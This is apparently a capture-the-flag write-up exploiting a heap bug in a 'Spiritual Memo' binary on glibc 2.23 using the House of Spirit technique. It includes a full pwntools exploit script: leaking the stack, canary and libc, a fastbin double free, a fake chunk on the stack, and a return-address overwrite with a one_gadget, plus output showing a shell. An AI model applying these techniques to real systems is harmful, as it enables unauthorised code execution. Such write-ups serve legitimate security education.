In this writeup we will solve a heap-based exploitation challenge that took me quite some time to overcome. I ended up finding a strategy that was the House of Spirit technique, and learnt a whole lot during the process.

The challenge

We are given the following binary:

$ pwn checksec memo
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

The libc provided is glibc 2.23:

$ strings glibc/libc.so.6|grep version|grep GLIBC
GNU C Library (Ubuntu GLIBC 2.23-0ubuntu10) stable release version 2.23, by Roland McGrath et al.

We will use pwninit to use the provided libc and loader with the binary (generates “memo_patched” binary):

$ pwninit --libc glibc/libc.so.6 --ld glibc/ld-linux-x86-64.so.2 --bin memo

The executable on is own is a classic heap-based challenge with the possibility to create, showing and deleting pieces of data:

$ ./memo            

--==[[ Spiritual Memo ]]==--

[1] Create a memo
[2] Show memo
[3] Delete memo
[4] Tap out
> 1
Data: test
Are you done? [yes/no] no
Which part of [yes/no] did you not understand? 

$

Let’s decompile some functions with Ghidra to have a first look at what it does:

Image

The allocation is done with the alloc() function:

Image

The “show” and “delete” functionnalities are done with these 2 functions:

Image Image

Basically, the memory allocation is done with libc char *strdup(const char *s)), which uses malloc internally and returns a pointer to the duplicated string. This pointer is written by the alloc() function to user_input_buf+0x18, and it is this address that will be used by dump() and del() functions.

I will call create_one and create_two the two ways to use alloc() function:

  • create_one writes user data to user_input_buf buffer, duplicates user data with strdup a sdescribed above and stores heap address at user_input_buf+0x18. It stops here: the user answers “no” to “are you done”.
  • create_two is when the user answers yes, it enables us to write data in the allocated chunk with libc read, so it enables us to write in the heap (the allocated chunk which address resides at user_input_buf+0x18!).

We can see that witgh gdb, before and after the read() call in alloc():

Image Image

Overall the goal is to find a memory vulnerability and exploiting in order to gain code execution.

Arbitrary free()

When we look at the alloc function, we can see that we can infact write arbitrary data at user_input_buf+0x18: we send something like b"no\x00" + b"A"*45".

Image

Because user_input_buf+0x18 that I control now is local_20 variable of main and is used by del() and show():

  • I can do printf("%s") of any arbitrary adress
  • I can free() any address I want

TLDR

I spent a lot of time on this challenge, so here is a summary:

  • Leak static libc adress: I rapidly got a libc base leak with the help of unsorted bin free chunk. But I couldn’t exploit it because I can only malloc chunks of 0x40 max size, which correspond to fastbins!
  • Failed attempts to use malloc hooks: because we have arbitrary free, I tried to do a double free and forge a next free fastbin chunk in order to overwrite malloc_hook region. The problem is that there is a check that I couldn’t bypass: malloc checks that the header size of the free chunk it gets is the same size of the appropriate fast bin (ie: malloc(0x30) –> fastbins(0x40), so header size of free chunk must be 0x40 or 0x41) ! Because of that by inspecting memory I couldn’t do better that target an address 0x7f before malloc hook, but I can’t allocate a 0x70 chunk (max 0x40).
  • use stack region instead of heap for rogue free chunk: With the help of stack leak address, I managed to set up a next free rogue chunk on the stack, in order to write in it and overwrite the return address of the program!
    • I had to put next fake free chunk after user_input_buffer, because read() call modifies otherwise data in chunk.
    • Along the way, I had to leak the canary value and writes its correct value when setting my fake chunk in order to avoid stack smaching.
  • Code execution is then reached with a libc one_gadget

Basically instead of overwriting addresses on libc (malloc/free hook), I overwrote stack addresses!

Python code

Here is my final program with notes inside. I have a lot of notes around it, I will clean them and add them to this write up if I have time in order to better understand the process. I apologize in the meantime for the ugly code!

#! /usr/bin/env python3
from pwn import *
import sys
import time
import struct

PROCESS_NAME = './memo_patched'
elf = context.binary = ELF(PROCESS_NAME,checksec=False)
libc = ELF('./glibc/libc.so.6',checksec=False)
gdb_args = '''
set follow-fork-mode child
catch exec
br execve
br *0x00400d21
continue'''

"""
br *0x00400c78   # at the moment of printf() in dump()
br *0x00400e1d   # the return 0 in main
br *0x00400b32   # at the moment of strdup in alloc()
br *0x400c93     # at the moment of free in del()
br *0x00400d5a   # the read in quit() 
br *0x00400d21   # call of del()
br *000400d78    # the strcmp of quit in alloc()
"""

args = [PROCESS_NAME]   
        
if len(sys.argv) > 1 and "gdb" in sys.argv[1]:
    r = gdb.debug(args=args, gdbscript=gdb_args)
else:
    r = process(argv=args)
    #r = remote("10.13.37.10", 7777)

# I put the data in user_input_buffer (stack), and a strdup will allocate it: will duplicate the string %s in user_input
def create_one(data):
    r.sendafter(b'> ', b'1')
    r.sendafter(b'Data: ', data)
    r.sendafter(b'[yes/no] ', b"yes")

# does the same, but also writes directly into the allocated chunk (thus in heap)
def create_two(data1, data2):
    r.sendafter(b'> ', b'1')
    r.sendafter(b'Data: ', data1)
    r.sendafter(b'[yes/no] ', b"no")
    r.sendafter(b'Data: ', data2)

def show():
    r.sendafter(b'> ', b'2')
    r.recvuntil(b'Data: ')
    return r.recvline(keepends=False)
    #return leaked_bytes[::-1]

def leak(index):
    data = show()
    return data[index:][::-1]  

def quit(data):
    r.sendafter(b'> ', b'4')
    r.sendafter(b'[yes/no] ', data)

def reset_user_input_bufer():
    quit(b"no\x00" + b"\x00"*0x15)

def free():
    r.sendafter(b'> ', b'3')

def free_adr(adr):
    quit(b"no\x00" + b"Z"*21 + p64(adr))
    free()

# LEAK STACK ADDRESSES: we saw via gdb that a stack @ at fixed offset was 0x20 after the user_bufer_input, so we will leak the useful @s
create_one(b"Z"*0x20)
leaked_stack = leak(0x20)                                   # because we saw via gdb that stack @ was present at 0x20 after user_input_buf
leaked_return_adr = int(leaked_stack.hex(), 16) - 0x118     # offset of rbp+8 seen via gdb (or calculated from source)
user_input_buf_adr = int(leaked_stack.hex(), 16) - 0x110    # same
canary_adr = leaked_return_adr + 0x31                      
log.info(f"stack leaked @ : {leaked_stack.hex()}")
log.info(f"user input buf @ : {hex(user_input_buf_adr)}")
log.info(f"rbp+8/return @ : {hex(leaked_return_adr)}")
# get canary value
quit(b"no\x00" + b"Z"*21 + p64(canary_adr))
leaked_canary = (b"\x00" + show()[:7])[::-1]  # I manually add the first LSB which is null byte, read the next 7 bytes, and since it's little endian I reverse
leaked_canary = int(leaked_canary.hex(), 16)
log.info(f"canary @  : {hex(canary_adr)}, value : {hex(leaked_canary)}")


# PUT FAKE fast bin 0x30 FREE CHUNK ON STACK: the goal is for this chunk to encompass the return @ of libc_start_main: when we allocate it we can write in it and overwrite return @ (and put back the value of the canary)
# WE ONLY NEED TO PUT WHAT ALLOWS TO PASS THE CHUNK: header size, then next ptr to 0 (so that it's like the last free chunk of fast bins list)
# LAYOUT OF USER INPUT BUF on 0x20 bytes
# USER_INPUT_BUF (0x18 len) | 8 bytes that serve as @ for free / this will also be the beginning of free fake chunk aka prev_size | header size of free fake chunk | next ptr of free fake chunk
reset_user_input_bufer()
quit(b"no\x00" + b"Z"*29 + p64(0x31) + p64(0))
fake_stac_chunk = user_input_buf_adr+0x18 # indeed, a free chunk starts at prev_size, so @ +8: header size, @+0x10: next size
log.info(f"fake free chunk header + fd put on stack at : {hex(fake_stac_chunk)}")

# (otherwise the length is taken on the str of user_buf, which runs up to the @ leak, so min 0x18 len, so min 0x30 allocated)
reset_user_input_bufer()

# LEAK LIBC ADDRESS: we want to do a free of size > 0x80 so that it goes in the unsorted bin. There is the @ of main_arena+XX, static libc offset
# for this we will allocate a small chunk, then several. We will modify the header size following the small chunk thanks to create two to set a size to 0xc1.
# then we will do a free of the 2nd allocated chunk, which will be seen as of size 0xc1 --> goes into unsorted bin, and contains static pointer now that we can read
# leak first chunk @
create_one(b"0"*0x18)                 # 0x18 for the leak of the allocated @ just after
create_one(b"1"*0x18)                 # no more than 0x18, otherwise I overwrite the allocated @ I want to leak 
leaked_first_chunk_adr = leak(0x18)   # the @ is from 0x18 on 6 bytes, written in little endian
log.info(f"@ leaked first allocated chunk adr : {leaked_first_chunk_adr.hex()}")
reset_user_input_bufer()

create_one(b"2"*0x10)   
create_one(b"2"*0x20)   # thus 0x30 allocated
create_one(b"3"*0x20)   
create_one(b"4"*0x20)   
create_one(b"5"*0x20)   
create_one(b"6"*0x20)   
create_one(b"7"*0x20)   
create_one(b"8"*0x20)
create_one(b"Z"*0x10)  # to have an allocated chunk before top chunk

# free first chunk and overwrite size of next chunk
first_adr = int(leaked_first_chunk_adr.hex(), 16) + 0x30 + 0x30
second_adr = first_adr + 0x20
log.info(f"first chunk to be freed adr : {hex(first_adr)}")
free_adr(first_adr)
reset_user_input_bufer()                    # need to put 0s on 0x18 len so that I can allocate small chunk 
create_two(b"1"*0x10, b"Z"*24 + p64(0xc1))  # put 1 in first byte so that prev_inuse (otherwise it tries to coalesce with neighbors and that complicates)
free_adr(second_adr)                        # the fake chunk of 0xc1 is put in unsorted bin, it contains static offset of libc (main_arena)!

# we will read the leak: we put the @ of the chunk in local_20 as above, but we will use show() instead of del() to read in it
quit(b"no\x00" + b"Z"*21 + p64(second_adr))
leaked = show()[::-1]
leaked = int(leaked.hex(), 16)
libc.address = leaked - 0x3c4b78        # offset seen via gdb
one_gadget = libc.address + 0x45216
#free_hook = libc.address + 0x3c67a8
#before_free_hook = free_hook - 0xb41    # we take this @ to write in free_hook, because the targeted @ must be a valid free chunk, thus with valid size 
#malloc_hook = libc.address + 0x3c4b10
#before_malloc_hook = malloc_hook-0xb
log.info(f"leaked static arena libc @ : {hex(leaked)}")
log.info(f"libc base: {hex(libc.address)}")
#log.info(f"free_hook  @                    : {hex(free_hook)}")   
#log.info(f"before_free_hook  @             : {hex(before_free_hook)}")   
#log.info(f"malloc_hook  @                  : {hex(malloc_hook)}")
#log.info(f"before malloc_hook  @           : {hex(before_malloc_hook)}")
#log.info(f"libc.system  @                  : {hex(libc.sym['system'])}")   
log.info(f"one_gadget @                     : {hex(one_gadget)}")


# PUT OUR FAKE FREE CHUNK IN FASTBINS 0X30: for this we will exploit a double free on fastbins 0x30
# our chunk recovered by malloc will still be referenced in fastbins 0x30: we will be able to put that the next is our fake stack chunk
chunk_5_adr = second_adr + 0xc0
chunk_6_adr = chunk_5_adr + 0x30
chunk_7_adr = chunk_6_adr + 0x30
chunk_8_adr = chunk_7_adr + 0x30
free_adr(chunk_6_adr)
free_adr(chunk_7_adr)
free_adr(chunk_6_adr)                       # double free chunk6

# we exploit the double free: we malloc, recover the free chunk, and write the next free chunk @
next_free_chunk_adr = fake_stac_chunk
create_two(b"9"*0x20, p64(next_free_chunk_adr))  # now this chunk5 6 is both allocated (we wrote fake @ of next ptr = before_free_hook), and is still in unsorted
log.info("DOUBLE FREE IN FASTBIN 0x30: ALLOCATED CHUNK IS ALSO IN FASTBIN. next pointer overwritten by the @ of my rogue fake chunk on stack")
create_one(b"a"*0x20)                       # to pop the freed chunk7
create_one(b"b"*0x20)                       # again to pop my fake free
#input()

# OVERWRITE RETURN @ to hijack execution flow: the target is return @ at the end of the program, where there is normally at rbp+8 an @: __libc_start_main+240
# for the alloc, since based on len of %s of user_buffer_input, I must make the len of the string within 0x20 (thus chunk size 0x30), so that the targeted free chunk is the fake, of 0x30
# so I pad with b"c"*20 so that malloc targets the fstbins of 0x30, and I write in the recovered free chunk (my rogue chunk): CANARY | RBP: I put a stack @ | RBP+8: MY ONE GADGET  
create_two(b"c"*20, p64(leaked_canary) + p64(leaked_return_adr-8) + p64(one_gadget))
log.info("LIBC START MAIN RETURN @ OVERWRITTEN")
#input()

# HIJACK EXECUTION FLOW: goto overwritten libc_start_main_adr --> for this we use the functionality to quit the program
reset_user_input_bufer()
quit(b"yes")
r.interactive()

# PS: we saw that malloc/free hook doesn't work, because we need to indicate in next ptr an @ where: @ +8 = size of the targeted fastbins, @+16 = 0 (so that it's like last free chunk fast bins)
# or @+16 points to something where @something +8 is a valid size (basically that the size of the next is ok).
# I couldn't pass these checks, the best would have been with malloc hook where I have size 0x7f, but I can't allocate myself 0x7f, at most 0x40

Result:

python3 solve.py

[!] Could not populate PLT: module 'unicorn' has no attribute 'UC_ARCH_RISCV'
[!] Could not populate PLT: module 'unicorn' has no attribute 'UC_ARCH_RISCV'
[+] Starting local process './memo_patched': pid 33197
[*] stack leaked @ : 7fff35c13fe0
[*] user input buf @ : 0x7fff35c13ed0
[*] rbp+8/return @ : 0x7fff35c13ec8
[*] canary @  : 0x7fff35c13ef9, value : 0x5273bd51a05c500
[*] fake free chunk header + fd put on stack at : 0x7fff35c13ee8
[*] @ leaked first allocated chunk adr : 732040
[*] first chunk to be freed adr : 0x7320a0
[*] leaked static arena libc @ : 0x7fefa91c4b78
[*] libc base: 0x7fefa8e00000
[*] one_gadget @             : 0x7fefa8e45216
[*] DOUBLE FREE IN FASTBIN 0x30: ALLOCATED CHUNK IS ALSO IN FASTBIN. next pointer overwritten by the @ of my rogue fake chunk on stack
[*] LIBC START MAIN RETURN @ OVERWRITTEN
[*] Switching to interactive mode
Quitter!
$ id
uid=1000(kali) gid=1000(kali) groups=1000(kali),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),109(netdev),117(bluetooth),120(wireshark),134(scanner),142(kaboxer),143(docker)
$ 

When I solved the challenge I got a message hinting on the House of Spirit technique: this is when I discovered that this technique was actually a known one.